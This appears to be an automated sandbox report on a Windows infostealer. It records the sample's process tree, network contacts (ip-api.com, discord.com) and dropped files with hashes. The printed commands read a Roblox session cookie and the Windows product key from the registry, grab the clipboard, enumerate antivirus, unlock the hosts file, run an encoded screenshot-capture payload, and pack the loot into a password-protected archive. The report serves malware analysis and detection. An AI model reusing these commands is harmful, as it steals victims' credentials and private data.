QAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0jffzmf2\0jffzmf2.cmdline"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESACBB.tmp" "c:\Users\Admin\AppData\Local\Temp\0jffzmf2\CSCD6D1FC9E8352489F8B9D59E34EAF6632.TMP"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI50122\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Z43KG.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI50122\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI50122\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Z43KG.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Network

Country Destination Domain Proto
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 226.108.222.173.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 142.250.200.35:443 gstatic.com tcp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 35.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.137.232:443 discord.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 232.137.159.162.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 210.108.222.173.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI50122\python311.dll

MD5 5792adeab1e4414e0129ce7a228eb8b8
SHA1 e9f022e687b6d88d20ee96d9509f82e916b9ee8c
SHA256 7e1370058177d78a415b7ed113cc15472974440d84267fc44cdc5729535e3967
SHA512 c8298b5780a2a5eebed070ac296eda6902b0cac9fda7bb70e21f482d6693d6d2631ca1ac4be96b75ac0dd50c9ca35be5d0aca9c4586ba7e58021edccd482958b

C:\Users\Admin\AppData\Local\Temp\_MEI50122\VCRUNTIME140.dll

MD5 4585a96cc4eef6aafd5e27ea09147dc6
SHA1 489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
SHA512 d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

memory/2840-25-0x00007FFD36830000-0x00007FFD36E19000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI50122\_ctypes.pyd

MD5 1adfe4d0f4d68c9c539489b89717984d
SHA1 8ae31b831b3160f5b88dda58ad3959c7423f8eb2
SHA256 64e8fd952ccf5b8adca80ce8c7bc6c96ec7df381789256fe8d326f111f02e95c
SHA512 b403cc46e0874a75e3c0819784244ed6557eae19b0d76ffd86f56b3739db10ea8deec3dc1ca9e94c101263d0ccf506978443085a70c3ab0816885046b5ef5117

C:\Users\Admin\AppData\Local\Temp\_MEI50122\base_library.zip

MD5 9a10c79571a8793a5c9f335bfe68d38e
SHA1 31decadd6282828bb58ad4560e26544bfb889799
SHA256 844953b78342ad526b1bd72f370d4ff0d787845b2f4118d937820a069aa12936
SHA512 2fc7eb094ec3134a8df1b47302f0f2ce93ece08726e9a0c13612003fe1cbbb3c11f08ac89f12603380326176821056edd9ce819d8bff5ccba0039f3950590b07

C:\Users\Admin\AppData\Local\Temp\_MEI50122\libffi-8.dll

MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

memory/2840-32-0x00007FFD4C010000-0x00007FFD4C01F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI50122\_ssl.pyd

MD5 2089768e25606262921e4424a590ff05
SHA1 bc94a8ff462547ab48c2fbf705673a1552545b76
SHA256 3e6e9fc56e1a9fe5edb39ee03e5d47fa0e3f6adb17be1f087dc6f891d3b0bbca
SHA512 371aa8e5c722307fff65e00968b14280ee5046cfcf4a1d9522450688d75a3b0362f2c9ec0ec117b2fc566664f2f52a1b47fe62f28466488163f9f0f1ce367f86

C:\Users\Admin\AppData\Local\Temp\_MEI50122\_sqlite3.pyd

MD5 eb6313b94292c827a5758eea82d018d9
SHA1 7070f715d088c669eda130d0f15e4e4e9c4b7961
SHA256 6b41dfd7d6ac12afe523d74a68f8bd984a75e438dcf2daa23a1f934ca02e89da
SHA512 23bfc3abf71b04ccffc51cedf301fadb038c458c06d14592bf1198b61758810636d9bbac9e4188e72927b49cb490aeafa313a04e3460c3fb4f22bdddf112ae56

C:\Users\Admin\AppData\Local\Temp\_MEI50122\_socket.pyd

MD5 bcc3e26a18d59d76fd6cf7cd64e9e14d
SHA1 b85e4e7d300dbeec942cb44e4a38f2c6314d3166
SHA256 4e19f29266a3d6c127e5e8de01d2c9b68bc55075dd3d6aabe22cf0de4b946a98
SHA512 65026247806feab6e1e5bf2b29a439bdc1543977c1457f6d3ddfbb7684e04f11aba10d58cc5e7ea0c2f07c8eb3c9b1c8a3668d7854a9a6e4340e6d3e43543b74

C:\Users\Admin\AppData\Local\Temp\_MEI50122\_queue.pyd

MD5 decdabaca104520549b0f66c136a9dc1
SHA1 423e6f3100013e5a2c97e65e94834b1b18770a87
SHA256 9d4880f7d0129b1de95becd8ea8bbbf0c044d63e87764d18f9ec00d382e43f84
SHA512 d89ee3779bf7d446514fc712dafb3ebc09069e4f665529a7a1af6494f8955ceb040bef7d18f017bcc3b6fe7addeab104535655971be6eed38d0fc09ec2c37d88

C:\Users\Admin\AppData\Local\Temp\_MEI50122\_lzma.pyd

MD5 3798175fd77eded46a8af6b03c5e5f6d
SHA1 f637eaf42080dcc620642400571473a3fdf9174f
SHA256 3c9d5a9433b22538fc64141cd3784800c567c18e4379003329cf69a1d59b2a41
SHA512 1f7351c9e905265625d725551d8ea1de5d9999bc333d29e6510a5bca4e4d7c1472b2a637e892a485a7437ea4768329e5365b209dd39d7c1995fe3317dc5aecdf

C:\Users\Admin\AppData\Local\Temp\_MEI50122\_decimal.pyd

MD5 a8952538e090e2ff0efb0ba3c890cd04
SHA1 cdc8bd05a3178a95416e1c15b6c875ee026274df
SHA256 c4e8740c5dbbd2741fc4124908da4b65fa9c3e17d9c9bf3f634710202e0c7009
SHA512 5c16f595f17bedaa9c1fdd14c724bbb404ed59421c63f6fbd3bfd54ce8d6f550147d419ec0430d008c91b01b0c42934c2a08dae844c308feec077da713ac842e

C:\Users\Admin\AppData\Local\Temp\_MEI50122\_hashlib.pyd

MD5 f10d896ed25751ead72d8b03e404ea36
SHA1 eb8e0fd6e2356f76b5ea0cb72ab37399ec9d8ecb
SHA256 3660b985ca47ca1bba07db01458b3153e4e692ee57a8b23ce22f1a5ca18707c3
SHA512 7f234e0d197ba48396fabd1fccc2f19e5d4ad922a2b3fe62920cd485e5065b66813b4b2a2477d2f7f911004e1bc6e5a6ec5e873d8ff81e642fee9e77b428fb42

C:\Users\Admin\AppData\Local\Temp\_MEI50122\_bz2.pyd

MD5 2d461b41f6e9a305dde68e9c59e4110a
SHA1 97c2266f47a651e37a72c153116d81d93c7556e8
SHA256 abbe3933a34a9653a757244e8e55b0d7d3a108527a3e9e8a7f2013b5f2a9eff4
SHA512 eef132df6e52eb783bad3e6af0d57cb48cda2eb0edb6e282753b02d21970c1eea6bab03c835ff9f28f2d3e25f5e9e18f176a8c5680522c09da358a1c48cf14c8

C:\Users\Admin\AppData\Local\Temp\_MEI50122\unicodedata.pyd

MD5 c2556dc74aea61b0bd9bd15e9cd7b0d6
SHA1 05eff76e393bfb77958614ff08229b6b770a1750
SHA256 987a6d21ce961afeaaa40ba69859d4dd80d20b77c4ca6d2b928305a873d6796d
SHA512 f29841f262934c810dd1062151aefac78cd6a42d959a8b9ac832455c646645c07fd9220866b262de1bc501e1a9570591c0050d5d3607f1683437dea1ff04c32b

C:\Users\Admin\AppData\Local\Temp\_MEI50122\sqlite3.dll

MD5 395332e795cb6abaca7d0126d6c1f215
SHA1 b845bd8864cd35dcb61f6db3710acc2659ed9f18
SHA256 8e8870dac8c96217feff4fa8af7c687470fbccd093d97121bc1eac533f47316c
SHA512 8bc8c8c5f10127289dedb012b636bc3959acb5c15638e7ed92dacdc8d8dba87a8d994aaffc88bc7dc89ccfeef359e3e79980dfa293a9acae0dc00181096a0d66

C:\Users\Admin\AppData\Local\Temp\_MEI50122\select.pyd

MD5 90fea71c9828751e36c00168b9ba4b2b
SHA1 15b506df7d02612e3ba49f816757ad0c141e9dc1
SHA256 5bbbb4f0b4f9e5329ba1d518d6e8144b1f7d83e2d7eaf6c50eef6a304d78f37d
SHA512 e424be422bf0ef06e7f9ff21e844a84212bfa08d7f9fbd4490cbbcb6493cc38cc1223aaf8b7c9cd637323b81ee93600d107cc1c982a2288eb2a0f80e2ad1f3c5

C:\Users\Admin\AppData\Local\Temp\_MEI50122\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI50122\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI50122\libssl-1_1.dll

MD5 8e8a145e122a593af7d6cde06d2bb89f
SHA1 b0e7d78bb78108d407239e9f1b376e0c8c295175
SHA256 a6a14c1beccbd4128763e78c3ec588f747640297ffb3cc5604a9728e8ef246b1
SHA512 d104d81aca91c067f2d69fd8cec3f974d23fb5372a8f2752ad64391da3dbf5ffe36e2645a18a9a74b70b25462d73d9ea084318846b7646d39ce1d3e65a1c47c4

C:\Users\Admin\AppData\Local\Temp\_MEI50122\libcrypto-1_1.dll

MD5 dffcab08f94e627de159e5b27326d2fc
SHA1 ab8954e9ae94ae76067e5a0b1df074bccc7c3b68
SHA256 135b115e77479eedd908d7a782e004ece6dd900bb1ca05cc1260d5dd6273ef15
SHA512 57e175a5883edb781cdb2286167d027fdb4b762f41fb1fc9bd26b5544096a9c5dda7bccbb6795dcc37ed5d8d03dc0a406bf1a59adb3aeb41714f1a7c8901a17d

C:\Users\Admin\AppData\Local\Temp\_MEI50122\blank.aes

MD5 17a442464d6f67c4659cd041af1d0093
SHA1 5469bc0565183cc92edede492090b691c0efe96d
SHA256 3714c9b12558034b6d1170e948ea4c968279282b21e42c449ef1655af2d62c5b
SHA512 22dd2d2e29f26650891046814de9c9ba3f2bffaf55972494e0243f740fe5c3c3233ee71670a30730c3a0f00009b4301aece4e22ec9954ab239bc7984576879a9

memory/2840-30-0x00007FFD4B7D0000-0x00007FFD4B7F3000-memory.dmp

memory/2840-54-0x00007FFD44EF0000-0x00007FFD44F1D000-memory.dmp

memory/2840-56-0x00007FFD456A0000-0x00007FFD456B9000-memory.dmp

memory/2840-58-0x00007FFD41FA0000-0x00007FFD41FC3000-memory.dmp

memory/2840-60-0x00007FFD35CC0000-0x00007FFD35E37000-memory.dmp

memory/2840-62-0x00007FFD459A0000-0x00007FFD459B9000-memory.dmp

memory/2840-64-0x00007FFD47E60000-0x00007FFD47E6D000-memory.dmp

memory/2840-66-0x00007FFD45220000-0x00007FFD4524E000-memory.dmp

memory/2840-70-0x00007FFD36830000-0x00007FFD36E19000-memory.dmp

memory/2840-73-0x00007FFD35870000-0x00007FFD35BE8000-memory.dmp

memory/2840-74-0x00007FFD4B7D0000-0x00007FFD4B7F3000-memory.dmp

memory/2840-78-0x00007FFD464B0000-0x00007FFD464BD000-memory.dmp

memory/2840-82-0x00007FFD36400000-0x00007FFD3651C000-memory.dmp

memory/2840-76-0x00007FFD45140000-0x00007FFD45154000-memory.dmp

memory/2840-72-0x00000178D34A0000-0x00000178D3818000-memory.dmp

memory/2840-71-0x00007FFD45160000-0x00007FFD45218000-memory.dmp

memory/1792-84-0x00007FFD34DA3000-0x00007FFD34DA5000-memory.dmp

memory/2840-83-0x00007FFD41FA0000-0x00007FFD41FC3000-memory.dmp

memory/1792-85-0x00007FFD34DA0000-0x00007FFD35861000-memory.dmp

memory/1792-86-0x00007FFD34DA0000-0x00007FFD35861000-memory.dmp

memory/2840-87-0x00007FFD35CC0000-0x00007FFD35E37000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_302jhp0k.5zr.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1792-93-0x000001DBC3270000-0x000001DBC3292000-memory.dmp

memory/2840-154-0x00007FFD459A0000-0x00007FFD459B9000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

memory/1792-176-0x00007FFD34DA0000-0x00007FFD35861000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
